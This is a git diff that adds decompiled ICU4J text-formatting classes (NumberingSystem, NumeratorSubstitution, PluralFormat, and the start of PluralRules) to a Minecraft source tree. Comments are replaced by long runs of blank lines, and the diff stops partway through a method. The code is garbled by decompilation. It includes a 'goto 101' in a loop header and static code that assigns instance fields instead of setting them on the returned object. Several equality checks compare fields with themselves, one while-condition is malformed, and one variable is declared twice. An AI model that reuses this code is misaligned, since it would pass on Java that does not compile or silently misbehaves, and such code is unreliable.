diff --git a/src/minecraft/com/ibm/icu/text/NumberingSystem.java b/src/minecraft/com/ibm/icu/text/NumberingSystem.java
new file mode 100644
index 0000000..f909369
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/NumberingSystem.java
@@ -0,0 +1,338 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUCache;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.SimpleCache;
+import com.ibm.icu.lang.UCharacter;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import com.ibm.icu.util.UResourceBundle;
+import com.ibm.icu.util.UResourceBundleIterator;
+import java.util.ArrayList;
+import java.util.Locale;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NumberingSystem
+{
+  private String desc;
+  private int radix;
+  private boolean algorithmic;
+  private String name;
+  
+  public NumberingSystem()
+  {
+    radix = 10;
+    algorithmic = false;
+    desc = "0123456789";
+    name = "latn";
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static NumberingSystem getInstance(int radix_in, boolean isAlgorithmic_in, String desc_in)
+  {
+    return getInstance(null, radix_in, isAlgorithmic_in, desc_in);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static NumberingSystem getInstance(String name_in, int radix_in, boolean isAlgorithmic_in, String desc_in)
+  {
+    if (radix_in < 2) {
+      throw new IllegalArgumentException("Invalid radix for numbering system");
+    }
+    
+    if ((!isAlgorithmic_in) && (
+      (desc_in.length() != radix_in) || (!isValidDigitString(desc_in)))) {
+      throw new IllegalArgumentException("Invalid digit string for numbering system");
+    }
+    
+    NumberingSystem ns = new NumberingSystem();
+    radix = radix_in;
+    algorithmic = isAlgorithmic_in;
+    desc = desc_in;
+    name = name_in;
+    return ns;
+  }
+  
+
+
+
+  public static NumberingSystem getInstance(Locale inLocale)
+  {
+    return getInstance(ULocale.forLocale(inLocale));
+  }
+  
+
+
+
+
+  public static NumberingSystem getInstance(ULocale locale)
+  {
+    String[] OTHER_NS_KEYWORDS = { "native", "traditional", "finance" };
+    
+
+    Boolean nsResolved = Boolean.valueOf(true);
+    
+
+    String numbersKeyword = locale.getKeywordValue("numbers");
+    if (numbersKeyword != null) {
+      for (String keyword : OTHER_NS_KEYWORDS) {
+        if (numbersKeyword.equals(keyword)) {
+          nsResolved = Boolean.valueOf(false);
+          break;
+        }
+      }
+    } else {
+      numbersKeyword = "default";
+      nsResolved = Boolean.valueOf(false);
+    }
+    
+    if (nsResolved.booleanValue()) {
+      NumberingSystem ns = getInstanceByName(numbersKeyword);
+      if (ns != null) {
+        return ns;
+      }
+      numbersKeyword = "default";
+      nsResolved = Boolean.valueOf(false);
+    }
+    
+
+
+    String baseName = locale.getBaseName();
+    NumberingSystem ns = (NumberingSystem)cachedLocaleData.get(baseName + "@numbers=" + numbersKeyword);
+    if (ns != null) {
+      return ns;
+    }
+    
+
+
+    String originalNumbersKeyword = numbersKeyword;
+    String resolvedNumberingSystem = null;
+    while (!nsResolved.booleanValue()) {
+      try {
+        ICUResourceBundle rb = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", locale);
+        rb = rb.getWithFallback("NumberElements");
+        resolvedNumberingSystem = rb.getStringWithFallback(numbersKeyword);
+        nsResolved = Boolean.valueOf(true);
+      } catch (MissingResourceException ex) {
+        if ((numbersKeyword.equals("native")) || (numbersKeyword.equals("finance"))) {
+          numbersKeyword = "default";
+        } else if (numbersKeyword.equals("traditional")) {
+          numbersKeyword = "native";
+        } else {
+          nsResolved = Boolean.valueOf(true);
+        }
+      }
+    }
+    
+    if (resolvedNumberingSystem != null) {
+      ns = getInstanceByName(resolvedNumberingSystem);
+    }
+    
+    if (ns == null) {
+      ns = new NumberingSystem();
+    }
+    
+    cachedLocaleData.put(baseName + "@numbers=" + originalNumbersKeyword, ns);
+    return ns;
+  }
+  
+
+
+
+
+
+  public static NumberingSystem getInstance()
+  {
+    return getInstance(ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static NumberingSystem getInstanceByName(String name)
+  {
+    NumberingSystem ns = (NumberingSystem)cachedStringData.get(name);
+    if (ns != null)
+      return ns;
+    String description;
+    int radix;
+    boolean isAlgorithmic;
+    try { UResourceBundle numberingSystemsInfo = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "numberingSystems");
+      UResourceBundle nsCurrent = numberingSystemsInfo.get("numberingSystems");
+      UResourceBundle nsTop = nsCurrent.get(name);
+      
+      description = nsTop.getString("desc");
+      UResourceBundle nsRadixBundle = nsTop.get("radix");
+      UResourceBundle nsAlgBundle = nsTop.get("algorithmic");
+      radix = nsRadixBundle.getInt();
+      int algorithmic = nsAlgBundle.getInt();
+      
+      isAlgorithmic = algorithmic == 1;
+    }
+    catch (MissingResourceException ex) {
+      return null;
+    }
+    
+    ns = getInstance(name, radix, isAlgorithmic, description);
+    cachedStringData.put(name, ns);
+    return ns;
+  }
+  
+
+
+
+
+
+  public static String[] getAvailableNames()
+  {
+    UResourceBundle numberingSystemsInfo = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "numberingSystems");
+    UResourceBundle nsCurrent = numberingSystemsInfo.get("numberingSystems");
+    
+
+
+    ArrayList<String> output = new ArrayList();
+    UResourceBundleIterator it = nsCurrent.getIterator();
+    while (it.hasNext()) {
+      UResourceBundle temp = it.next();
+      String nsName = temp.getKey();
+      output.add(nsName);
+    }
+    return (String[])output.toArray(new String[output.size()]);
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean isValidDigitString(String str)
+  {
+    int i = 0;
+    UCharacterIterator it = UCharacterIterator.getInstance(str);
+    
+    it.setToStart();
+    int c; while ((c = it.nextCodePoint()) != -1) {
+      if (UCharacter.isSupplementary(c)) {
+        return false;
+      }
+      i++;
+    }
+    if (i != 10) {
+      return false;
+    }
+    return true;
+  }
+  
+
+
+
+  public int getRadix()
+  {
+    return radix;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public String getDescription()
+  {
+    return desc;
+  }
+  
+
+
+
+  public String getName()
+  {
+    return name;
+  }
+  
+
+
+
+
+
+  public boolean isAlgorithmic()
+  {
+    return algorithmic;
+  }
+  
+
+
+
+
+
+
+
+
+  private static ICUCache<String, NumberingSystem> cachedLocaleData = new SimpleCache();
+  
+
+
+
+  private static ICUCache<String, NumberingSystem> cachedStringData = new SimpleCache();
+}
diff --git a/src/minecraft/com/ibm/icu/text/NumeratorSubstitution.java b/src/minecraft/com/ibm/icu/text/NumeratorSubstitution.java
new file mode 100644
index 0000000..4e9d341
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/NumeratorSubstitution.java
@@ -0,0 +1,1771 @@
+package com.ibm.icu.text;
+
+import java.text.ParsePosition;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class NumeratorSubstitution
+  extends NFSubstitution
+{
+  double denominator;
+  boolean withZeros;
+  
+  NumeratorSubstitution(int pos, double denominator, NFRuleSet ruleSet, RuleBasedNumberFormat formatter, String description)
+  {
+    super(pos, ruleSet, formatter, fixdesc(description));
+    
+
+
+
+    this.denominator = denominator;
+    
+    withZeros = description.endsWith("<<");
+  }
+  
+  static String fixdesc(String description) {
+    return description.endsWith("<<") ? description.substring(0, description.length() - 1) : description;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object that)
+  {
+    if (super.equals(that)) {
+      NumeratorSubstitution that2 = (NumeratorSubstitution)that;
+      return denominator == denominator;
+    }
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    if (!$assertionsDisabled) throw new AssertionError("hashCode not designed");
+    return 42;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void doSubstitution(double number, StringBuffer toInsertInto, int position)
+  {
+    double numberToFormat = transformNumber(number);
+    
+    if ((withZeros) && (ruleSet != null))
+    {
+      long nf = numberToFormat;
+      int len = toInsertInto.length();
+      while (nf *= 10L < denominator) {
+        toInsertInto.insert(position + pos, ' ');
+        ruleSet.format(0L, toInsertInto, position + pos);
+      }
+      position += toInsertInto.length() - len;
+    }
+    
+
+
+    if ((numberToFormat == Math.floor(numberToFormat)) && (ruleSet != null)) {
+      ruleSet.format(numberToFormat, toInsertInto, position + pos);
+
+
+
+
+    }
+    else if (ruleSet != null) {
+      ruleSet.format(numberToFormat, toInsertInto, position + pos);
+    } else {
+      toInsertInto.insert(position + pos, numberFormat.format(numberToFormat));
+    }
+  }
+  
+
+
+
+
+
+  public long transformNumber(long number)
+  {
+    return Math.round(number * denominator);
+  }
+  
+
+
+
+
+  public double transformNumber(double number)
+  {
+    return Math.round(number * denominator);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Number doParse(String text, ParsePosition parsePosition, double baseValue, double upperBound, boolean lenientParse)
+  {
+    int zeroCount = 0;
+    if (withZeros) {
+      String workText = text;
+      ParsePosition workPos = new ParsePosition(1);
+      for (; 
+          
+          (workText.length() > 0) && (workPos.getIndex() != 0); 
+          
+
+
+
+
+
+
+
+
+
+
+
+
+          goto 101)
+      {
+        workPos.setIndex(0);
+        ruleSet.parse(workText, workPos, 1.0D).intValue();
+        if (workPos.getIndex() == 0) {
+          break;
+        }
+        
+
+
+        zeroCount++;
+        parsePosition.setIndex(parsePosition.getIndex() + workPos.getIndex());
+        workText = workText.substring(workPos.getIndex());
+        if ((workText.length() > 0) && (workText.charAt(0) == ' ')) {
+          workText = workText.substring(1);
+          parsePosition.setIndex(parsePosition.getIndex() + 1);
+        }
+      }
+      
+      text = text.substring(parsePosition.getIndex());
+      parsePosition.setIndex(0);
+    }
+    
+
+    Number result = super.doParse(text, parsePosition, withZeros ? 1.0D : baseValue, upperBound, false);
+    
+    if (withZeros)
+    {
+
+
+
+      long n = result.longValue();
+      long d = 1L;
+      while (d <= n) {
+        d *= 10L;
+      }
+      
+      while (zeroCount > 0) {
+        d *= 10L;
+        zeroCount--;
+      }
+      
+      result = new Double(n / d);
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+  public double composeRuleValue(double newRuleValue, double oldRuleValue)
+  {
+    return newRuleValue / oldRuleValue;
+  }
+  
+
+
+
+
+  public double calcUpperBound(double oldUpperBound)
+  {
+    return denominator;
+  }
+  
+
+
+
+
+
+
+
+  char tokenChar()
+  {
+    return '<';
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/PluralFormat.java b/src/minecraft/com/ibm/icu/text/PluralFormat.java
new file mode 100644
index 0000000..d9d7691
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/PluralFormat.java
@@ -0,0 +1,720 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Utility;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.text.FieldPosition;
+import java.text.ParsePosition;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PluralFormat
+  extends UFormat
+{
+  private static final long serialVersionUID = 1L;
+  private ULocale ulocale = null;
+  
+
+
+
+
+  private PluralRules pluralRules = null;
+  
+
+
+
+
+  private String pattern = null;
+  
+
+
+
+
+
+  private transient MessagePattern msgPattern;
+  
+
+
+
+
+
+  private Map<String, String> parsedValues = null;
+  
+
+
+
+
+
+  private NumberFormat numberFormat = null;
+  
+
+
+
+  private transient double offset = 0.0D;
+  
+
+
+
+
+
+
+  public PluralFormat()
+  {
+    init(null, PluralRules.PluralType.CARDINAL, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+  public PluralFormat(ULocale ulocale)
+  {
+    init(null, PluralRules.PluralType.CARDINAL, ulocale);
+  }
+  
+
+
+
+
+
+
+
+  public PluralFormat(PluralRules rules)
+  {
+    init(rules, PluralRules.PluralType.CARDINAL, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+
+  public PluralFormat(ULocale ulocale, PluralRules rules)
+  {
+    init(rules, PluralRules.PluralType.CARDINAL, ulocale);
+  }
+  
+
+
+
+
+
+
+
+
+  public PluralFormat(ULocale ulocale, PluralRules.PluralType type)
+  {
+    init(null, type, ulocale);
+  }
+  
+
+
+
+
+
+
+
+
+  public PluralFormat(String pattern)
+  {
+    init(null, PluralRules.PluralType.CARDINAL, ULocale.getDefault(ULocale.Category.FORMAT));
+    applyPattern(pattern);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public PluralFormat(ULocale ulocale, String pattern)
+  {
+    init(null, PluralRules.PluralType.CARDINAL, ulocale);
+    applyPattern(pattern);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public PluralFormat(PluralRules rules, String pattern)
+  {
+    init(rules, PluralRules.PluralType.CARDINAL, ULocale.getDefault(ULocale.Category.FORMAT));
+    applyPattern(pattern);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public PluralFormat(ULocale ulocale, PluralRules rules, String pattern)
+  {
+    init(rules, PluralRules.PluralType.CARDINAL, ulocale);
+    applyPattern(pattern);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public PluralFormat(ULocale ulocale, PluralRules.PluralType type, String pattern)
+  {
+    init(null, type, ulocale);
+    applyPattern(pattern);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private void init(PluralRules rules, PluralRules.PluralType type, ULocale locale)
+  {
+    ulocale = locale;
+    pluralRules = (rules == null ? PluralRules.forLocale(ulocale, type) : rules);
+    
+    resetPattern();
+    numberFormat = NumberFormat.getInstance(ulocale);
+  }
+  
+  private void resetPattern() {
+    pattern = null;
+    if (msgPattern != null) {
+      msgPattern.clear();
+    }
+    offset = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void applyPattern(String pattern)
+  {
+    this.pattern = pattern;
+    if (msgPattern == null) {
+      msgPattern = new MessagePattern();
+    }
+    try {
+      msgPattern.parsePluralStyle(pattern);
+      offset = msgPattern.getPluralOffset(0);
+    } catch (RuntimeException e) {
+      resetPattern();
+      throw e;
+    }
+  }
+  
+
+
+
+
+
+  public String toPattern()
+  {
+    return pattern;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  static int findSubMessage(MessagePattern pattern, int partIndex, PluralSelector selector, double number)
+  {
+    int count = pattern.countParts();
+    
+    MessagePattern.Part part = pattern.getPart(partIndex);
+    double offset; if (part.getType().hasNumericValue()) {
+      double offset = pattern.getNumericValue(part);
+      partIndex++;
+    } else {
+      offset = 0.0D;
+    }
+    
+
+
+
+    String keyword = null;
+    
+
+
+    boolean haveKeywordMatch = false;
+    
+
+
+
+
+
+
+
+
+
+    int msgStart = 0;
+    
+    do
+    {
+      part = pattern.getPart(partIndex++);
+      MessagePattern.Part.Type type = part.getType();
+      if (type == MessagePattern.Part.Type.ARG_LIMIT) {
+        break;
+      }
+      assert (type == MessagePattern.Part.Type.ARG_SELECTOR);
+      
+      if (pattern.getPartType(partIndex).hasNumericValue())
+      {
+        part = pattern.getPart(partIndex++);
+        if (number == pattern.getNumericValue(part))
+        {
+          return partIndex;
+        }
+      } else if (!haveKeywordMatch)
+      {
+
+        if (pattern.partSubstringMatches(part, "other")) {
+          if (msgStart == 0) {
+            msgStart = partIndex;
+            if ((keyword != null) && (keyword.equals("other")))
+            {
+
+
+              haveKeywordMatch = true;
+            }
+          }
+        } else {
+          if (keyword == null) {
+            keyword = selector.select(number - offset);
+            if ((msgStart != 0) && (keyword.equals("other")))
+            {
+
+              haveKeywordMatch = true;
+            }
+          }
+          
+          if ((!haveKeywordMatch) && (pattern.partSubstringMatches(part, keyword)))
+          {
+            msgStart = partIndex;
+            
+            haveKeywordMatch = true;
+          }
+        }
+      }
+      partIndex = pattern.getLimitPartIndex(partIndex);
+      partIndex++; } while (partIndex < count);
+    return msgStart;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private final class PluralSelectorAdapter
+    implements PluralFormat.PluralSelector
+  {
+    private PluralSelectorAdapter() {}
+    
+
+
+
+
+
+
+
+
+
+    public String select(double number) { return pluralRules.select(number); }
+  }
+  
+  private transient PluralSelectorAdapter pluralRulesWrapper = new PluralSelectorAdapter(null);
+  
+
+
+
+
+
+
+
+
+
+
+  public final String format(double number)
+  {
+    if ((msgPattern == null) || (msgPattern.countParts() == 0)) {
+      return numberFormat.format(number);
+    }
+    
+
+    int partIndex = findSubMessage(msgPattern, 0, pluralRulesWrapper, number);
+    
+
+    number -= offset;
+    StringBuilder result = null;
+    int prevIndex = msgPattern.getPart(partIndex).getLimit();
+    for (;;) {
+      MessagePattern.Part part = msgPattern.getPart(++partIndex);
+      MessagePattern.Part.Type type = part.getType();
+      int index = part.getIndex();
+      if (type == MessagePattern.Part.Type.MSG_LIMIT) {
+        if (result == null) {
+          return pattern.substring(prevIndex, index);
+        }
+        return result.append(pattern, prevIndex, index).toString();
+      }
+      if ((type == MessagePattern.Part.Type.REPLACE_NUMBER) || ((type == MessagePattern.Part.Type.SKIP_SYNTAX) && (msgPattern.jdkAposMode())))
+      {
+
+        if (result == null) {
+          result = new StringBuilder();
+        }
+        result.append(pattern, prevIndex, index);
+        if (type == MessagePattern.Part.Type.REPLACE_NUMBER) {
+          result.append(numberFormat.format(number));
+        }
+        prevIndex = part.getLimit();
+      } else if (type == MessagePattern.Part.Type.ARG_START) {
+        if (result == null) {
+          result = new StringBuilder();
+        }
+        result.append(pattern, prevIndex, index);
+        prevIndex = index;
+        partIndex = msgPattern.getLimitPartIndex(partIndex);
+        index = msgPattern.getPart(partIndex).getLimit();
+        MessagePattern.appendReducedApostrophes(pattern, prevIndex, index, result);
+        prevIndex = index;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public StringBuffer format(Object number, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    if ((number instanceof Number)) {
+      toAppendTo.append(format(((Number)number).doubleValue()));
+      return toAppendTo;
+    }
+    throw new IllegalArgumentException("'" + number + "' is not a Number");
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Number parse(String text, ParsePosition parsePosition)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Object parseObject(String source, ParsePosition pos)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public void setLocale(ULocale ulocale)
+  {
+    if (ulocale == null) {
+      ulocale = ULocale.getDefault(ULocale.Category.FORMAT);
+    }
+    init(null, PluralRules.PluralType.CARDINAL, ulocale);
+  }
+  
+
+
+
+
+
+
+  public void setNumberFormat(NumberFormat format)
+  {
+    numberFormat = format;
+  }
+  
+
+
+
+
+  public boolean equals(Object rhs)
+  {
+    if (this == rhs) {
+      return true;
+    }
+    if ((rhs == null) || (getClass() != rhs.getClass())) {
+      return false;
+    }
+    PluralFormat pf = (PluralFormat)rhs;
+    return (Utility.objectEquals(ulocale, ulocale)) && (Utility.objectEquals(pluralRules, pluralRules)) && (Utility.objectEquals(msgPattern, msgPattern)) && (Utility.objectEquals(numberFormat, numberFormat));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean equals(PluralFormat rhs)
+  {
+    return equals(rhs);
+  }
+  
+
+
+
+
+  public int hashCode()
+  {
+    return pluralRules.hashCode() ^ parsedValues.hashCode();
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append("locale=" + ulocale);
+    buf.append(", rules='" + pluralRules + "'");
+    buf.append(", pattern='" + pattern + "'");
+    buf.append(", format='" + numberFormat + "'");
+    return buf.toString();
+  }
+  
+  private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+    in.defaultReadObject();
+    pluralRulesWrapper = new PluralSelectorAdapter(null);
+    
+
+    parsedValues = null;
+    if (pattern != null) {
+      applyPattern(pattern);
+    }
+  }
+  
+  static abstract interface PluralSelector
+  {
+    public abstract String select(double paramDouble);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/PluralRules.java b/src/minecraft/com/ibm/icu/text/PluralRules.java
new file mode 100644
index 0000000..d3c23ed
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/PluralRules.java
@@ -0,0 +1,1283 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.PatternProps;
+import com.ibm.icu.impl.PluralRulesLoader;
+import com.ibm.icu.impl.Utility;
+import com.ibm.icu.util.Output;
+import com.ibm.icu.util.ULocale;
+import java.io.Serializable;
+import java.text.ParseException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PluralRules
+  implements Serializable
+{
+  private static final long serialVersionUID = 1L;
+  private final RuleList rules;
+  private final Set<String> keywords;
+  private int repeatLimit;
+  private transient int hashCode;
+  private transient Map<String, List<Double>> _keySamplesMap;
+  private transient Map<String, Boolean> _keyLimitedMap;
+  public static final String KEYWORD_ZERO = "zero";
+  public static final String KEYWORD_ONE = "one";
+  public static final String KEYWORD_TWO = "two";
+  public static final String KEYWORD_FEW = "few";
+  public static final String KEYWORD_MANY = "many";
+  public static final String KEYWORD_OTHER = "other";
+  public static final double NO_UNIQUE_VALUE = -0.00123456777D;
+  
+  public static enum PluralType
+  {
+    CARDINAL, 
+    
+
+
+
+
+    ORDINAL;
+    
+
+    private PluralType() {}
+  }
+  
+  private static final Constraint NO_CONSTRAINT = new Constraint() {
+    private static final long serialVersionUID = 9163464945387899416L;
+    
+    public boolean isFulfilled(double n) {
+      return true;
+    }
+    
+    public boolean isLimited() {
+      return false;
+    }
+    
+    public String toString() {
+      return "n is any";
+    }
+    
+    public int updateRepeatLimit(int limit) {
+      return limit;
+    }
+  };
+  
+
+
+
+  private static final Rule DEFAULT_RULE = new Rule() {
+    private static final long serialVersionUID = -5677499073940822149L;
+    
+    public String getKeyword() {
+      return "other";
+    }
+    
+    public boolean appliesTo(double n) {
+      return true;
+    }
+    
+    public boolean isLimited() {
+      return false;
+    }
+    
+    public String toString() {
+      return "(other)";
+    }
+    
+    public int updateRepeatLimit(int limit) {
+      return limit;
+    }
+  };
+  
+
+
+
+
+
+  public static final PluralRules DEFAULT = new PluralRules(new RuleChain(DEFAULT_RULE));
+  
+
+
+
+
+
+
+
+
+  public static PluralRules parseDescription(String description)
+    throws ParseException
+  {
+    description = description.trim();
+    if (description.length() == 0) {
+      return DEFAULT;
+    }
+    
